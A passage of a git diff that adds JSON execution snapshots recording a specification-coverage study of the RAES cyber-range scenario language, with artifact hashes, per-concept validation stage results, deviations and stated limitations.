"implementation_digest": "0bca9c465e832c6ce5cf7c835df43995c6555456610052219a98a0e3ddc31d8f", + "profile": "python-reference-source/v2" + } +} diff --git a/docs/research/specification-coverage/execution-snapshot-v62.json b/docs/research/specification-coverage/execution-snapshot-v62.json new file mode 100644 index 000000000..018e61cf0 --- /dev/null +++ b/docs/research/specification-coverage/execution-snapshot-v62.json @@ -0,0 +1,700 @@ +{ + "artifacts": [ + { + "artifact_id": "enterprise-participant-sdl", + "kind": "sdl", + "path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "sha256": "f7a8897beec243e188ee081975006fad32725f469f267db6e75a1e1cf5727032", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "port-range-sdl", + "kind": "sdl", + "path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "sha256": "0d5497ec946b863e6985284ec487dde7d7f6bf710a985be51401ac0e5e79dc4f", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "experiment-task-contract", + "kind": "experiment-task", + "path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc", + "validator": "raes_contracts.contracts.ExperimentTaskModel" + }, + { + "artifact_id": "apparatus-context-contract", + "kind": "experiment-apparatus-context", + "path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299", + "validator": "raes_contracts.contracts.ExperimentApparatusContextModel" + }, + { + "artifact_id": "backend-profile", + "kind": "backend-profile", + "path": "contracts/profiles/backend/orchestration-capable.json", + "sha256": "f70b8505a5c0055416db86c533e2e5bf08b11e5a514f076223b6d6c36215a092", + "validator": "raes_contracts.backend_profiles.BackendProfileModel" + }, + { + "artifact_id": "known-limitations", + "kind": "documentation", + "path": "docs/explain/sdl/limitations.md", + "sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4", + "validator": "documentation evidence only" + } + ], + "baseline": { + "release_revision": "1.1.0", + "release_sha256": "4020a1d56c7fe2831cec59ea64a12bbda9d38ccd94f93b916dd90f1a28f17fcb" + }, + "captured_at": "2026-09-30", + "concept_results": [ + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "range-topology", + "rationale": "SDL nodes and infrastructure own host, network, link, and dependency meaning; the compiler emits canonical node deployment addresses.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed VM declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Links and dependencies resolved.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Published instantiated shape admitted.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical deployment address retained.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "exercise-roles", + "rationale": "SDL entity roles own exercise responsibility without becoming control-plane identity or authorization.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed red role.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Entity references validated.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained after instantiation.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained in entity specification.", + "outcome": "passed", + "pointer": "/entity_specs/enterprise-participant/role", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/entities/enterprise-participant/role" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-objectives", + "rationale": "SDL objectives own organization ownership, participant assignment, targets, windows, and assertion-based success; measures remain experiment contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed objective declaration.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Owner, participant assignment, targets, assertions, and workflow refs resolved.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff/success", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Objective retained in admitted artifact.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical objective address retained.", + "outcome": "passed", + "pointer": "/objectives/evaluation.objective.demonstrate-handoff", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/objectives/demonstrate-handoff" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "control-workflows", + "rationale": "SDL workflows own the portable control graph and compile to canonical orchestration state contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed control graph.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Step graph and objective refs validated.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery/steps", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Workflow retained after instantiation.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical control graph retained.", + "outcome": "passed", + "pointer": "/workflows/orchestration.workflow.yard-recovery", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/workflows/yard-recovery" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "authored-evidence-expectations", + "rationale": "SDL evidence requirements own portable capture intent and remain distinct from evidence records and measures.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed capture obligation.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Source refs and bindings validated.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Evidence intent retained in admitted artifact.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + } + ], + "typed_pointer": "/evidence_requirements/objective-truth-evidence" + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-selection-constraints", + "rationale": "The experiment task contract binds processor/backend identities, manifest refs, and capabilities outside SDL.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed ExperimentTaskModel validated.", + "outcome": "passed", + "pointer": "/apparatus_constraints/allowed_backend_refs/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/apparatus_constraints/allowed_backend_refs/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-agent", + "rationale": "SDL agents own participant entity, knowledge, actions, observation boundaries, and operating scope.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed participant declaration.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant refs and scope validated.", + "outcome": "passed", + "pointer": "/agents/participant-agent/observation_boundaries", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant retained in admitted artifact.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Compiled participant scope retained.", + "outcome": "passed", + "pointer": "/agent_specs/participant-agent", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/agents/participant-agent" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-action-contract", + "rationale": "The action contract declares portable preconditions, effects, observations, evidence, and failure classes without a runner command.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed action contract.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action refs and evidence bindings validated.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login/effects", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action retained in admitted artifact.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical action address retained.", + "outcome": "passed", + "pointer": "/action_contracts/participant.action-contract.probe-customer-portal-login", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/action_contracts/probe-customer-portal-login" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-observation-boundary", + "rationale": "The observation boundary separately declares visible, hidden, and evidence-only information with transition rules.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed observation boundary.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Information refs and transitions validated.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view/view_rules", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Boundary retained in admitted artifact.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical boundary address retained.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant.observation-boundary.participant-view", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/observation_boundaries/participant-view" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-measure", + "rationale": "ExperimentTaskModel owns metric construct, unit, direction, aggregation, and evidence requirements outside SDL objectives.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed task contract validated.", + "outcome": "passed", + "pointer": "/evaluation_protocol/metric_definitions/foothold-achieved", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/evaluation_protocol/metric_definitions/foothold-achieved" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "participant-tool-affordance", + "rationale": "This preregistered matrix has no tested carrier for participant tool affordances. The retained missing classification records missing coverage evidence, not the absence of current participant-behavior capabilities.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The preregistered carrier slot was not run; metadata does not substitute for a typed coverage test.", + "outcome": "not_run", + "pointer": null, + "stage_id": "authored", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "resource-constrained-topology", + "rationale": "SDL node resources and infrastructure dependencies express portable resource intent without provider resource identifiers.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed CPU and memory declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Resource-bearing topology validated.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Constraints retained in admitted artifact.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Deployment specification retains resource intent.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal/resources" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "formal-constraint-satisfiability", + "rationale": "This coverage matrix did not exercise a solver-backed carrier. The separate formal-semantic-validation release demonstrates its bounded finite-domain profile; that result is not silently imported into this protocol's missing carrier slot.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "No coverage-carrier execution was performed here; independent solver evidence does not change this preregistered denominator.", + "outcome": "not_run", + "pointer": null, + "stage_id": "semantic", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [ + { + "allowed": true, + "artifact_path": "source:vsdl-paper", + "pointer": "source sections 4-5", + "reason": "Legitimate VSDL realization vocabulary, not RAES core SDL structure.", + "term": "OpenStack/Terraform/Packer" + } + ], + "classification": "deliberately-backend-specific", + "completeness_disposition": "external", + "concept_id": "provider-specific-provisioning", + "rationale": "Provider image selection and provisioning engines are realization mechanics and therefore remain outside core SDL.", + "stage_results": [ + { + "artifact_path": "contracts/profiles/backend/orchestration-capable.json", + "diagnostic_codes": [], + "note": "The portable boundary requires backend contracts; it does not standardize a provider engine.", + "outcome": "not_applicable", + "pointer": "/required_contracts", + "stage_id": "realization-disclosure", + "validation_strength": "profile" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-clock-context", + "rationale": "ExperimentApparatusContextModel records clock authority, time domain, and synchronization as apparatus facts outside scenario meaning.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed apparatus context contract validated.", + "outcome": "passed", + "pointer": "/clocks/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/clocks/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "federated-object-event-exchange", + "rationale": "The federated cyber object/event exchange carrier was not exercised by this preregistered matrix. Runtime event internals are not treated as equivalent evidence.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The missing coverage-carrier test is recorded explicitly, without inferring an ecosystem-wide capability absence.", + "outcome": "not_run", + "pointer": null, + "stage_id": "contract", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + } + ], + "deviations": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "baseline_sha256": "54ba1a60220e27a55da9cd2a407d7d3ab836fa54460d0b0c6cad87c2e744ddbb", + "rationale": "Migrate participant affiliations and explicit objective assignment, retaining organizational intent and portable action-contract declarations without granting execution authority.", + "retest_sha256": "f7a8897beec243e188ee081975006fad32725f469f267db6e75a1e1cf5727032" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "baseline_sha256": "a27c7a64e0c5c618fadaccafdf1a4e71600170a8b77b983190822b5141f00dec", + "rationale": "Migrate participant affiliations and explicit objective assignment, retaining organizational intent and portable action-contract declarations without granting execution authority.", + "retest_sha256": "0d5497ec946b863e6985284ec487dde7d7f6bf710a985be51401ac0e5e79dc4f" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "baseline_sha256": "21952a752f4e8581a9fc3b872e4bc308150548170d38bcfc83dbbe35ff5e0b9f", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "baseline_sha256": "9536d897a09cbc6920e667e4f8f9371e51307aa0b3b5ff3c7de682dd783420ab", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299" + }, + { + "artifact_path": "docs/explain/sdl/limitations.md", + "baseline_sha256": "129cf17810aad4c51988bc872e28fe43ae95019a80053c42d800ff7e2b9cc93e", + "rationale": "Correct historical mandatory-profile guidance after issue #1207; retain the preregistered missing-concept classifications and coverage limits.", + "retest_sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4" + } + ], + "execution_status": "complete", + "implementation_surfaces": [ + { + "content_sha256": "d6a39a62f389a683207a7378378e9c0df3a87e88c44f677617be7af905141d79", + "path": "implementations/python/packages/raes_contracts", + "surface_id": "contract-models" + }, + { + "content_sha256": "27cf5d5bac07ef4b79d922e7c924832c89f13f12ab7e3a441b1a97557dba2b14", + "path": "implementations/python/packages/raes_processor", + "surface_id": "processor-pipeline" + }, + { + "content_sha256": "7de8bf15504fd996b11c7b9f15d0743b452d1c438b37174124097ff2f2a11028", + "path": "implementations/python/packages/raes", + "surface_id": "sdl-pipeline" + } + ], + "limitations": [ + "The execution validates the pinned reference implementation and published contracts, not an independent backend.", + "Repository-owned examples are exact execution artifacts but are not themselves the literature-derived request corpus; the protocol's requests and concepts are.", + "No live range, participant, simulator federation, or provider provisioning engine was executed.", + "Missing concepts remain frozen in this snapshot and require separately scoped product work before a later rerun.", + "This capture replays the retained protocol after EXP-732 run, apparatus, measurement-channel, and augmentation-producer provenance validation; it adds no independent backend or universal provenance assurance claim.", + "Materialization attestation is covered by its dedicated regression suite, not a new claim in this preregistered matrix.", + "This capture refreshes the corrected runtime limitations prose for issue #959; the protocol, coverage classifications and implementation source are unchanged.", + "This capture replays open-by-default augmentation scope integrated with the EXP-731 evidence refinements after composition type refinement; it does not evaluate native backend scope enforcement or broaden the preregistered coverage claims.", + "This capture replays the retained protocol after merging ACT-612 participant relationships with open-by-default augmentation scope; it adds no claim of realized participant relationships or native backend scope enforcement.", + "This capture replays issue #1299 partial listener descriptions on the integrated source state; endpoint completeness and backend admission remain outside this protocol's claims.", + "This capture also binds authoring-adapter semantic conformance to the integrated source; adapter transport behavior remains outside this protocol's claims.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "This capture binds issue #1297 service-manager identity, native-name, and explicitly selected systemd-state contract changes to the integrated source. It exercises no live service manager and adds no backend-execution claim.", + "This capture replays the retained specification-coverage protocol after API-404 startup reconciliation added an operational recovery-observation contract. It does not evaluate crash recovery, classify provider effects, or broaden EXP-715 experiment-observation claims.", + "This capture binds API-404 single-owner store admission and immutable target/run scope to the integrated source. The retained offline protocol does not exercise process leases, SQLite lifecycle ordering, or crash recovery.", + "This capture binds issue #1015 deterministic mixed and staged trial admission to the integrated source. The retained offline language corpus does not execute mixed runtimes, phase transitions, backend handoff, or scheduler-driven realization.", + "This replay binds issue #1186 offline control-plane maintenance, readiness, and bounded audit code to the integrated source. The retained language corpus does not execute store recovery, HTTP health behavior, or audit redaction.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #1016 mixed-runtime coordination is covered by its dedicated runtime suite. The retained language corpus does not execute mixed providers or establish backend-native realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution." + ], + "protocol_revision": "1.0.0", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "raes_revision": "95b86c9adc2e9720dbac84cf99b045db6b3cb232", + "snapshot_id": "raes-standardized-specification-coverage-issue-971-v62", + "snapshot_revision": "62.0.0", + "source_state": { + "base_revision": "95b86c9adc2e9720dbac84cf99b045db6b3cb232", + "checkout_state": "modified", + "implementation_digest": "dd175d51062c7e54e795ba79886156b9ac84ba5a117be3e21893c787421a8f90", + "profile": "python-reference-source/v2" + } +} diff --git a/docs/research/specification-coverage/execution-snapshot-v63.json b/docs/research/specification-coverage/execution-snapshot-v63.json new file mode 100644 index 000000000..5bb61b052 --- /dev/null +++ b/docs/research/specification-coverage/execution-snapshot-v63.json @@ -0,0 +1,700 @@ +{ + "artifacts": [ + { + "artifact_id": "enterprise-participant-sdl", + "kind": "sdl", + "path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "sha256": "f7a8897beec243e188ee081975006fad32725f469f267db6e75a1e1cf5727032", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "port-range-sdl", + "kind": "sdl", + "path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "sha256": "0d5497ec946b863e6985284ec487dde7d7f6bf710a985be51401ac0e5e79dc4f", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "experiment-task-contract", + "kind": "experiment-task", + "path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc", + "validator": "raes_contracts.contracts.ExperimentTaskModel" + }, + { + "artifact_id": "apparatus-context-contract", + "kind": "experiment-apparatus-context", + "path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299", + "validator": "raes_contracts.contracts.ExperimentApparatusContextModel" + }, + { + "artifact_id": "backend-profile", + "kind": "backend-profile", + "path": "contracts/profiles/backend/orchestration-capable.json", + "sha256": "f70b8505a5c0055416db86c533e2e5bf08b11e5a514f076223b6d6c36215a092", + "validator": "raes_contracts.backend_profiles.BackendProfileModel" + }, + { + "artifact_id": "known-limitations", + "kind": "documentation", + "path": "docs/explain/sdl/limitations.md", + "sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4", + "validator": "documentation evidence only" + } + ], + "baseline": { + "release_revision": "1.1.0", + "release_sha256": "4020a1d56c7fe2831cec59ea64a12bbda9d38ccd94f93b916dd90f1a28f17fcb" + }, + "captured_at": "2026-09-30", + "concept_results": [ + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "range-topology", + "rationale": "SDL nodes and infrastructure own host, network, link, and dependency meaning; the compiler emits canonical node deployment addresses.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed VM declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Links and dependencies resolved.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Published instantiated shape admitted.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical deployment address retained.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "exercise-roles", + "rationale": "SDL entity roles own exercise responsibility without becoming control-plane identity or authorization.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed red role.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Entity references validated.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained after instantiation.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained in entity specification.", + "outcome": "passed", + "pointer": "/entity_specs/enterprise-participant/role", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/entities/enterprise-participant/role" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-objectives", + "rationale": "SDL objectives own organization ownership, participant assignment, targets, windows, and assertion-based success; measures remain experiment contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed objective declaration.", + 